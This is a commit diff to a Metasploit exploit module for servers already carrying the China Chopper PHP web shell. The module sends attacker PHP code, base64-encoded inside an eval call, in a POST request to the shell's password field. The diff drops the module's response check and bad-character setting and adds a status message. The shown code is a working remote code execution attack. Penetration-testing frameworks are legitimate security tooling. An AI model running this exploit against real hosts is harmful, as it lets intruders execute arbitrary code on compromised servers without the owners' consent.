remove the fail_with because it's always triggering anyway

modules/exploits/multi/http/caidao_php_backdoor_exec.rb

@@ -24,10 +24,6 @@ class Metasploit4 < Msf::Exploit::Remote
           ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
           ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
         ],
-      'Payload'           =>
-        {
-          'BadChars'      => '\x00'
-        },
       'Platform'          => ['php'],
       'Arch'              => ARCH_PHP,
       'Targets'           =>
@@ -47,17 +43,13 @@ class Metasploit4 < Msf::Exploit::Remote
 
   def http_send_command(code)
     code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"
-    res = send_request_cgi({
+    send_request_cgi({
       'method'    => 'POST',
       'uri'       => normalize_uri(target_uri.path),
       'vars_post' => {
         "#{datastore['PASSWORD']}" => code
       }
     })
-    unless res && res.code == 200
-      fail_with(Failure::Unknown, 'Failed to execute the code.')
-    end
-    res
   end
 
   def check
@@ -71,6 +63,7 @@ class Metasploit4 < Msf::Exploit::Remote
   end
 
   def exploit
+    print_status("#{peer} - Sending exploit...")
     http_send_command(payload.raw)
   end
 end